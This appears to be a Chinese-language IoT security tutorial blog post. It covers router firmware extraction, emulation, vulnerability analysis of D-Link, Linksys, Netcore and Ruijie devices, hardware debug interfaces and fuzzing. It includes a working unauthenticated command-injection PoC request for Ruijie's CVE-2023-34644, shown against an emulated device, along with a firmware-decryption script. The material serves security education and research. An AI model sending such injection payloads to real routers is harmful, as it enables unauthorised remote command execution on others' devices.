IoT 安全从零到掌握:超详尽入门指南(实战篇)
ve1kcon 发表于 北京 技术文章 7231浏览 · 2024-12-02 12:23

四、「实战篇1」软件层分析

本章开始对 RW (Real World) 下的对路由器漏洞的分析和利用进行讲解。

主要分为以下三个几个大方向:

  1. 固件获取
  2. 文件系统提取
  3. 漏洞分析与利用及漏洞挖掘

0x00 固件获取

不同的路由器会使用不用的硬件平台、操作系统及固件,所以我们需要去获取对应的固件。通常路由器的固件中包含操作系统的内核及文件系统,所以路由器的固件其实是软件,他是被固化(烧录)在路由的只读存储器中的,包含了所有可执行程序和配置文件信息,这些信息对漏挖工作极其重要

在进行漏洞分析时,获取目标路由器的固件通常有以下途径:

  1. 从路由器厂商提供的网站中下载
  2. 登录路由的 Web 管理界面获取相关信息,到对应的网站下载固件,最后再通过后台选择新固件进行升级
  3. 通过硬件接入,从路由器的 Flash 中提取固件
  4. 云市场:淘宝、闲鱼… XD

0x01 文件系统

1. 引言

Q: 在本小节中,首先我们需要了解文件系统是什么?

A: 路由器中的文件系统是指路由器内部存储设备上用于存储操作系统、配置文件、日志文件等数据的系统,所以它是操作运行的基础

不同的路由器使用的文件系统格式不同,根文件系统会被打包成当前路由器所使用的文件系统格式,然后组装到固件中。但在路由器设备中,存储设备的大小是非常有限的,所以文件系统越小越好,因此产生了各种针对文件系统的压缩格式。Squashfs 是一个只读格式的文件系统,其具有超高压缩率,所以在路由器中被普遍采用

路由器的根文件系统通常会按照 Squashfs 文件系统常用压缩格式中(GZIP, LZMA, LZO, XZ)的一种进行打包,形成一个完整的 Squashfs 文件系统,然后结合”固件头部、压缩后的内核“等部分一起形成一个完整的固件

当系统启动后,会将文件系统保存在一个压缩过的文件系统文件中,这个文件可以使用换回的形式挂载并对其中的文件进行访问,当进程需要某些文件时,仅将对应部分的压缩文件解压缩

2. 手工提取文件系统

在针对路由器的漏挖工作中,首要目的是先获得到路由器的服务程序,有了上面简述的基础,很容易知道我们先是需要一个文件系统,它包含实现路由器各种功能的基础应用程序。那么如何从固件中提取出文件系统呢?我们要认识到这项工程的难点有哪些:

  1. 不同的操作系统使用的文件系统不同
  2. 路由的文件系统的压缩算法有可能存在差异
  3. 有些路由甚至使用非标准的甚至是加密的压缩算法来打包文件系统

为实现提取文件系统的最终目的,下面笔者将总结一些常见的固件解包手法,如 通过手工分析的方式从大量字节码数据中正确地识别出文件系统、固件解密、利用工具自动化分析

下面开始讲解 拿到路由器固件后,如何一步步进行分析

  1. 信息收集
    首先可以利用 Linux 自带的 file 命令查看文件类型,从这个例子中可以看出这个固件是一个 “从 Unix 系统压缩的 gzip 压缩文件”
    当我往固件前面加入 “IoT\n” 这四个字节生成新文件 test,发现 file 命令没有检查到新文件能匹配到任何文件类型,但显而易见这个文件不是完全没接触过的文件格式,可以说 test 文件中包含了固件,未被识别出来的原因在于 file 命令是从给定文件的首字母开始分析的,会按既定格式进行模式匹配

    file 命令通过定义的 magic 签名文件来识别各种格式,包括常用的 Linux/Windows 可执行文件、DOC、PDF 及各种压缩格式等

总结:file 命令不能告诉我们一个文件中是否包含了另一个文件,固件不仅包含文件系统(压缩包),还包含其他数据(如内核数据)一起打包,因此需要另想办法进行进一步的扫描和提取

  1. 对内容进行进一步检索

    • strings xxx.bin | grep ‘xx’ —— 检索文件系统 magic 签名头
      文件系统 magic 签名头是指一个文件系统中包含的一串可识别字符,其表明该文件可能包含某个文件系统,但还需要利用其他条件配合证明

      介绍一下文件系统的头部特征,例如 cramfs 文件系统头部特征字符为 0x28cd3d45
      squashfs 文件系统头部特征较多,大致有 sqsh, hsqs, qshs, shsq, hsqt, tqsh, sqlz

      例如,需要检查是否存在 cramfs 文件系统头部特征,且不知道文件组织是大端序还是小端序,所以进行两次搜索

      $ strings firmware.bin | grep `python -c 'print "\x28\xcd\x3d\x45"'`
      $ strings firmware.bin | grep `python -c 'print "\x45\x3d\xcd\x28"'`
      
    • hexdump xxx.bin | grep ‘xx’ —— 检索 magic 签名的偏移
      在确定有相关特征字符串时,还需要进行进一步确认,确认偏移

      $ hexdump -C firmware.bin | grep 'hsqs'
      
    • dd | file - —— 当确定某个 magic 签名位于固件中的具体偏移时,可用此命令确认是否匹配某种文件格式。例如,假设知道固件中的 magic 签名位于偏移量为 0x100 的位置,可以使用以下命令组合,复制从 0x100 处开始的 100 字节数据到 out 文件,这 100 字节根据相应的文件系统的头部校验进行判断,然后查看 out 文件属性、文件大小

      $ dd if=firmware.bin bs=1 count=100 skip=256 of=out
      $ file out
      
    • 当确认了文件系统无误和文件系统大小后,即可重新提取出文件,复制从 0x100 处开始的 1024 字节(根据上面的文件大小判断)到 out 文件

      $ dd if=firmware.bin bs=1 count=1024 skip=256 of=out.squashfs
      
  2. 提取文件系统
    假设目前已按上述方法提取出一个 squashfs 文件系统,接下来需要还原文件系统中的根文件系统。但仅凭 file 命令输出的文件系统相关 magic 签名头部信息是不够的,我们需要更深入了解该文件系统,所以利用 file 命令的 -m 参数加载自定义的 magic 签名文件(这些文件通常包含用于匹配文件类型的模式和规则,包括文件头部的特定字节序列、文件大小、文件内容的特定模式等),以输出更加详细的信息,了解压缩方式等信息,然后找对应工具进行解压…

3. 自动提取文件系统

若想要使用工具自动提取文件系统,那肯定需要用到 Binwalk 这个固件分析神器了。

首先推荐一个在线网站:https://zhiwanyuzhou.com/multiple_analyse/firmware/,基于 binwalk 和互联网上部分公开的解密工具,如果没有分析结果,固件则有可能是加密的

下面介绍 Binwalk 的使用

  1. 固件扫描,扫描出目标文件中包含的所有可识别的文件类型

    $ binwalk x.bin
    

    但这样使用的话并不会显示扫描的所有结果,有些会被定义为 ”invalid” 项,若是全部输出则会产生很多无用的信息。但当我们认为存在有效文件被当成无效文件时,可以通过加上 -I 参数来检查

    $ binwalk -I x.bin
    
  2. 从附件中提取文件,按照预定义的配置文件中的提取方法从固件中提取探测到的文件系统 (-e), 根据 magic 签名扫描结果进行递归提取 (-M)

    $ binwalk -Me x.bin --run-as=root
    

    解包出来的 squashfs-root 文件夹就是路由器的文件系统

  3. 对目标可执行程序的指令系统进行分析 (-A)

    $ binwalk -A elf
    

    同理,可以辅助 file, checksec 等命令进行确认

通常情况下,下载并安装最新版本的 Binwalk 就可以对大部分路由器固件进行根文件系统的提取。但若遇到 Binwalk 无法识别的固件,可以向 Binwalk 中添加新的提取规则和提取方法,从而使 Binwalk 能够对这种新的文件系统实现扫描和提取:

  1. 为了让 Binwalk 能识别新的文件类型,可以使用 --magic 选项指定自定义 magic 签名文件路径,或者将自定义的签名规则添加到 $HOME/.binwalk/magic/binwalk 文件中
  2. 识别出新的文件类型后,可以向 Binwalk 的配置文件中添加这种新的文件类型的提取方式,使其能够自动完成新的类型文件的提取

0x02 路由器漏洞分析

本节主要讲解漏洞复现的大致过程,课本中有对几个有代表性的路由器漏洞进行详细的分析,这里只做一些简述

我们在进行漏洞复现时,力求在只知道漏洞描述的情况下进行漏洞的剖析,通过一些漏洞公布网站获取漏洞信息(获取漏洞厂商、影响版本、漏洞描述、PoC 等信息),如 Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)、厂商安全公告等,根据线索尝试去复现。然后通过分析准确定位漏洞触发位置,理清楚原理,尝试开发利用脚本

1. D-Link DIR-815 路由器溢出漏洞分析

简述:认证前RCE。漏洞点存在于一个 .cgi 组件中,是一个符号链接,它指向一个真正处理报文逻辑的可执行文件。攻击者通过调用这个 CGI 传递一个很长的 Cookie 值,即可造成溢出

固件下载地址:File DIR-815_FIRMWARE_1.01.ZIP

首先直接 binwalk -e 即可解包获得文件系统

漏洞的核心组件是 /htdocs/web/hedwig.cgi ,是一个符号链接,它指向一个真正处理报文逻辑的可执行文件 ./htdocs/cgibin ,所以这才是需要去分析的程序。goahead, boa 这种 httpd 都会去 fork 相应的 cgi 进程,在请求到对应的 cgi 时与对应的进程进行进程间通信,以环境变量的形式传参。所以在这个漏洞复现案例中,程序通过 char *getenv("HTTP_COOKIE") 这样的函数即可在 CGI 脚本中获取用户输入的 Cookie 值,通过找 HTTP_COOKIE 字符串查引用进行进一步分析即可

漏洞触发点在于获取 uid 后未对长度进行校验,在 sprintf 中造成溢出

从零开始复现 DIR-815 栈溢出漏洞

2. D-Link DIR-645 路由器溢出漏洞分析

固件下载地址:files.dlink.com.au - /Products/DIR-645/REV_A/Firmware/DIR645_FW103B11/

该漏洞成因也是在 CGI 中接受参数的值时未对长度进行校验导致的栈溢出,在后面的 read 直接获取了整个 POST 参数,长度可控,由字符串长度控制,后面未对长度进行校验,导致溢出

3. D-Link DIR-505 路由器溢出漏洞分析

固件下载地址:https://files.dlink.com.au/products/DIR-505/REV_A/Firmware/v1.06b05/DIR505A1_FW106B05.bin

这个溢出漏洞也是因 CGI 里对 POST 传参的处理不当导致,但产生原因比较有意思,值得慢慢分析调用链。不同于类似 strncpy 这种函数调用导致的溢出,简单来说存在漏洞的 get_input_entries 函数的一参指向缓冲区,二参为长度,却由 strtol(getenv(“CONTENT_LENGTH”),0,10) 直接控制,即长度。此个函数的实现是最有意思的地方,具体分析详见D-Link DIR-505便携路由器越界漏洞分析,总而言之若 CONTENT_LENGTH > buf_size,则能够造成溢出

4. CVE-2005-2799 Linksys WRT54G 路由器溢出漏洞分析

Linksys WRT54G 路由器溢出漏洞分析

这个案例的漏洞产生方式与前面的案例相似,比较有新意的有以下两点:

  1. 固件仿真环境修复
  2. 溢出写的对象未被定义在栈上,最终的利用方式是从 .data 段一直往下覆盖,直到覆盖到 .extern 段的函数地址指向 shellcode,然后继续逐步运行会执行到写入其中的 shellcode

5. 磊科全系列路由器后门漏洞分析

存在后门程序能够执行文件上传和下载、路由器命令及 MPT 命令等功能,且验证密码以硬编码存储。但是重点是需要去分析程序的执行流程和通信协议,有 opcode

6. D-Link DIR-600M 路由器Web漏洞分析

抓包分析流量包,观察服务的认证方式,形如 Authorization: Basic base64_code 使用的是 basic 认证,用户登录的账号密码只经过 base64 编码。路由器的 Web 服务仅对 HTTP 头部的基础认证 Authorization 参数对权限进行了验证,没有采用 Token、时间戳或验证码方式对 CSRF 漏洞进行防御

利用方式可以是:基础认证自动登录 + CSRF

记一个网络空间搜索引擎——ZoomEy(钟馗之眼),可以对暴露在公网的主机设备及网站组件进行全方位搜索,目的是探测互联网上存活的、符合条件的靶标

7. CVE-2023-34644 锐捷

a. 固件解密

锐捷官网下载的固件都是被加密过的,首先需要进行解密。以 EW无线路由系列EW_3.0(ruijie.com.cn) 为例进行固件解密操作

观察到文件末尾有大量 \x80,猜测加密方式为单字节异或,通常文件末尾会填充大量的 \xff 或者 \x00 字节码,依次猜测异或 key 为 \x7f\x80

异或 0x7f 后可以使用 binwalk 解包出文件系统。由于固件的解密操作肯定是在刷固件之前进行的,因此我们可以查找 OpenWrt 中用于刷固件的 mtd 命令进行定位

此处的 rg-upgrade-crypto 自然就是我们所要找到固件解密程序,对其进行逆向分析,写出解密脚本

import sys

def jiemi(input_file, output_file):
    try:
        with open(input_file, 'rb') as infile:
            with open(output_file, 'wb') as outfile:
                byte = infile.read(1)
                while byte:
                    byte_value = ord(byte)
                    xor_result = byte_value ^ 0x7f
                    outfile.write(bytes([xor_result]))
                    byte = infile.read(1)
        print(f"File {input_file} successfully decrypted to {output_file}")
    except Exception as e:
        print(f"Error: {str(e)}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exp.py input_file output_file")
    else:
        input_filename = sys.argv[1]
        output_filename = sys.argv[2]
        jiemi(input_filename, output_filename)

b. 固件仿真

使用 FAT 仿真失败,所有使用 qemu 进行仿真,启动脚本如下

#!/bin/bash
sudo qemu-system-mipsel \
    -cpu 74Kf \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

启动后 qemu 无法与宿主机通信,需要在宿主机配置网桥,并配置虚拟机 ip

sudo brctl addif br0 eth0                # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig eth0 0.0.0.0 promisc up    # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0

使用 scp 将固件打包好的压缩包上传至虚拟机,并解压

sudo scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa ./rootfs.tar.gz

执行以下命令

cd squashfs
chmod -R 777 ./
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
ifconfig eth0 192.168.111.123 up

/sbin/init &
touch /var/run/lighttpd.pid
/etc/init.d/lighttpd start
/sbin/ubusd &
mkdir /tmp/coredump
mkdir /tmp/rg_device
cp /sbin/hw/60010081/rg_device.json  /tmp/rg_device/rg_device.json
/etc/init.d/unifyframe-sgi start

至此固件仿真运行成功,不过有时宿主机网桥会掉,需要重新配置

传一个 gdbserver 到 qemu 虚拟机中,附加到 unifyframe-sgi.elf 进程

gdbserver 0.0.0.0:9999 --attach pid

宿主机 gdb 调试

gdb-multiarch unifyframe-sgi.elf
set architechture mips
set endian little
set follow-fork-mode parent
target remote 192.168.111.123:9999

c. 漏洞分析

锐捷服务器前端是由 lua 编写的,在 /usr/lib/ 路径下存在一个 lua 目录,其中存放了很多 lua 文件。主要作用是对前端传入的数据做了一些简单处理和判断,然后将数据传递给二进制文件进一步处理。在 /usr/lib/lua/luci/controller/eweb/api.lua 文件中定义了 api 接口,并且可以看到,当用户访问 /api/auth 路径时,将调用 rpc_auth 函数,并且该步骤不需要进行系统认证

定位到 rpc_auth 函数。该函数首先引入了一些模块,之后判断 HTTP_CONTENT_LENGTH 的长度是否大于 1000 字节,如果请求数据长度合适,设置 HTTP 响应的内容类型为 JSON。最后使用 ltn12.pump.all 函数来处理 JSON-RPC 请求

Jsonrpc.handle 函数会通过 json 中的 methed 字段,在 _tbl 中定位对应的函数,并将 params 字段作为函数参数传入,如下图所示

noauth中有四个函数,分别为 login,singleLogin,merge 和 checkNet。其中 singleLogin 函数没有可控制的参数,不需要进一步分析

login 函数可控参数包括 password、encry 等,但是在 checkPasswd 函数中,除 password 外的其他字段都被赋值为固定字符串,不存在命令注入的可能。而 password 首先会经过 includeXxs 函数的过滤,但是没有过滤 \n 换行符,但是在后续的 cmd.devSta.get 函数中,数据被 luci.json.encode(params.data) 函数处理,该函数会将 \n 类字符进行转义,也就不会被解析为换行符

checkNet 函数中,host 字段会经过 checkIp 函数的过滤,要求长度不能大于 50,且只能由点、冒号与数字构成,故不存在命令注入

merge 函数里可以看到在调用 cmd.devSta.set 前没有对参数进行任何过滤

同样的,先通过 doParams 函数解析出 data 等变量后,一起传入 fetch 函数

而 fetch 函数会将第四个参数之后的参数传入 fn 中,即 dev_sta/fetch 函数,并返回 _res

找到 dev_sta 文件中的 fetch 函数,发现该函数又调用了 libuflua 中的 client_call 函数

ida 分析 libuflua 文件,在 0xff0 偏移处找到了 “client_call” 字符串,猜测 sub_A00 即为 client_call 函数

分析该函数,对传入的参数进行解析之后调用 uf_client_call。可以看到,传入的可控制的参数 data、ip 和 password 分别位于 v3 的 12、20、24 偏移处

uf_client_call 函数的定义在 /usr/lib/libunifyframe.so 中,大概操作是先将传入的 data 等字段转为 Json 格式的数据,将其作为 params 的内容,之后通过 uf_socket_msg_write 函数发送。可以定义以下结构体,其中 unknown 部分的字段都为 0

struct hello
{
int *ctype;
_DWORD *cmd;
_DWORD *module;
_DWORD *data;
_DWORD *unknown;
_DWORD *ip;
_DWORD *passwd;
_DWORD *unknown2;
_DWORD *unknown3;
_DWORD *unknown4;
_DWORD *unknown5;
_DWORD *unknown6;
_DWORD *unknown7;
};

搜索 uf_socket_msg_read 定位到接收函数在 /usr/sbin/unifyframe-sgi.elf 中,从uf_socket_msg_read函数开始,结合动态分析梳理漏洞利用流程

发现 v31[1] 为 cmd 参数,通过 merge 调用应该为 set,所以不会进入该 if 分支

进入 parse_content 函数,v9 为固定的 devSat.set,所以不会进入 if 分支,走 else 分支

进入 parse_obj2_cmd 函数,大部分操作都是解析json字符串并存入内存中,返回值存放在v16中

parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v16) ,它的核心作用就是在 a1 这个数据结构中记录了 v16 的指针,使得后续操作通过 a1 访问到刚刚解析出来的各个字段

之后进入 add_pkg_cmd2_task 函数,v12 为 ctype 值为 2,v11[1] 为 set,因此直接进入 sub_40B304 函数

sub_40B304 函数最终会调用 sub_40B0B0 函数,而该函数会释放 unk_435E74 的信号量,对其进行交叉引用,可以找到在 uf_task_remote_pop_queue 函数中进行了阻塞

uf_task_remote_pop_queue 函数正常运行结束后,会返回到 deal_remote_config_handle 函数,随后就调用了关键的 uf_cmd_call 函数

又调用了 ufm_handle 函数

调用 sub_40FD5C 函数

调用 sub_40CEAC 函数

在该函数中存在命令注入,结果会放入 v63 中,继续调用 ufm_commit_add 函数

进入 async_cmd_push_queue 函数,又调用 sem_post 函数发送信号量

交叉引用找到 sub_41AFC8 函数,又调用 sub_41ADF0

在 sub_41ADF0 中使用 ufm_popen 函数执行命令

最终 PoC 如下

POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 192.168.111.123
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

{"method": "merge", "params": {"attack": "'`ls > /www/hack.txt`'"}}

查看 hack.txt,攻击成功

五、「实战篇2」硬件层分析

前面主要讲解了如何从固件中提取根文件系统,但是如何获取到固件也是很重要的,这里主要讲解如何通过路由器硬件提供的接口获取到固件,即需要连接计算机和路由器主板,提取路由器的数据

0x00 路由器FLASH

首先介绍路由器中常用的一种内存类型 Flash,即闪存,上面的内容在断电后仍然能够被保存。在路由器中它一般存放正在使用的路由器操作系统等数据。Flash 就像计算机的硬盘一样,通常有多个分区,大致内容如下:

  • Bootloader 区块
    常见的 Bootloader 有 BIOS, UEFI, U-Boot 等,其中 U-Boot 更多用于嵌入式系统。Bootloader 区块通常存储着对设备供电后启动操作系统的引导程序,主要功能是对硬件环境进行初始化、更新固件、建立内存空间映射表从而配置适当的系统软硬件环境、调用操作系统内核并加载到内存中运行
  • Kernel 区块
    操作系统内核
  • Root Filesystem 区块
    操作系统的根文件系统,如 squashfs, rootfs 等
  • NVRAM 区块
    保存路由器中的配置文件,路由器在启动之后会从 NVRAM 中读取配置文件,对路由器进行设置

0x01 硬件提取数据的思路

无非是以下三种方式

  • 连接主板上的 JTAG 之类调试接口
  • 从主板上取下 Flash 芯片,通过芯片上的引脚连接编程器,但很容易对路由器造成物理损伤
  • 利用芯片夹夹住芯片引脚,通过芯片夹接口连接到编程器,这样就不需要将芯片从主板上取下来

0x02 路由器串口

路由器的串口一般用于给开发人员使用,用于访问路由器的固件环境、观察 boot 和调试信息、通过 Shell 与系统进行交互异步串行通信、烧录固件等

在路由器中主要寻找的串口是 URAT,其至少包含四个主要引脚:VCC(电源电压)、GND (接地引脚)、TXD(数据发送引脚)、RXD(数据接收引脚) ,书中还有教我们如何对各个引脚进行区分和测试后,将串口和计算机进行连接,读取路由器串口来提取数据

六、「实战篇3」漏挖思路&方法

0x00 分析流程

最后简单介绍对 IoT 设备通用的上手思路,若能对整个系统进行仿真,先找开放了监听端口的服务,抓包分析,从通信网络层大致过一遍,分析攻击面

  1. 记录些常见的服务端口
    http 服务的常用端口是80端口;https 服务的常用端口是443端口;DNS 服务的常用端口是53;ftp 服务的常用端口是21;ssh 服务的常用端口是22
  2. 对整个系统进行漏挖时可以从它的网络服务抓起
    可以通过抓包看本地回环/整个局域网下的流量,能看见心跳包等数据报文,观察哪个程序起了主导的交互作用;看启动了什么进程,有哪些针对 0.0.0.0 的端口监听

然后分析信息路由、路由导向等信息,即找分发网络消息的路由和处理逻辑,这种也需要去进行积累,例如 tenda 路由器的 web 启动程序通常是 bin 目录下的 httpd 文件

确定需要进行漏挖的目标进程,需要分析通信协议和与程序进行交互的方式,后续就是进行静态代码审计和模糊测试之类的工作了

0x01 静态代码审计

在对程序进行逆向分析时,找到程序的核心逻辑非常重要,下面记录一些思路

  1. 平时多看源码,了解基本开发思路,熟悉相关框架
  2. 查找对 socket, bind, listen, accept 这类网络通信函数的调用,可以通过这些函数了解到当前程序的网络服务相关信息;查找对 sendmsg, recvmsg, read, write 这类函数的调用,一般能够顺着这些交互点找到报文处理逻辑
  3. 使用 python 脚本建立 socket 连接,查看回显,利用这些信息去搜索相应的字符串,查引用定位主要逻辑
  4. 查看程序的字符串,我们能从一些输出报错、记录日志等相关字符串中窥探到函数功能。如输出信息 option xxx 一般是指命令的选项,类似 -r -a 那种参数,那这一部分代码就可能在执行某种选项功能

分析敏感函数调用,分析数据处理,观察是否有溢出风险,以及数据处理不当导致的命令注入、逻辑漏洞等

  1. 从数据来源角度进行分析

    • 命令行参数:对 argv 的处理
    • 环境变量:getenv
    • 文件、数据报文数据读取:read, fscanf, getc, fgetc, fgets, vfscanf
    • 键盘输入、stdin:read, scanf, getchar, gets
    • 网络数据:read, recv, recvfrom
  2. 从数据操作角度进行分析

    • 命令执行:system, popen, execve, execl, execvp
    • 字符串拼接、复制:strcat, strcpy, strncpy
    • 格式化字符串:sprintf, snprintf

0x02 模糊测试

Fuzzing 的大致流程:确定输入变量 ->生成模糊测试数据 -> 执行模糊测试 -> 监视异常 -> 根据被测试系统状态判断是否存在潜在安全漏洞

主流的 fuzz 工具有 AFL++, Boofuzz… 在挑选工具时,需要去考虑这堆 fuzz 工具的区别和使用

  1. fuzz 目标语言和平台:程序?内核?协议?…
  2. 变异策略 - 原语:需要去了解工具的常用 API 使用方法,熟悉测试脚本编写
  3. 状态管理、性能和效率:fuzz 在某种程度上来说是比较的 低效的漏挖手段,这种情况下怎么判断 Crash 和有效值,减少误报
  4. 特殊情况:如分析目标在通信时会进行多次交互…
2 条评论
某人
表情
可输入 255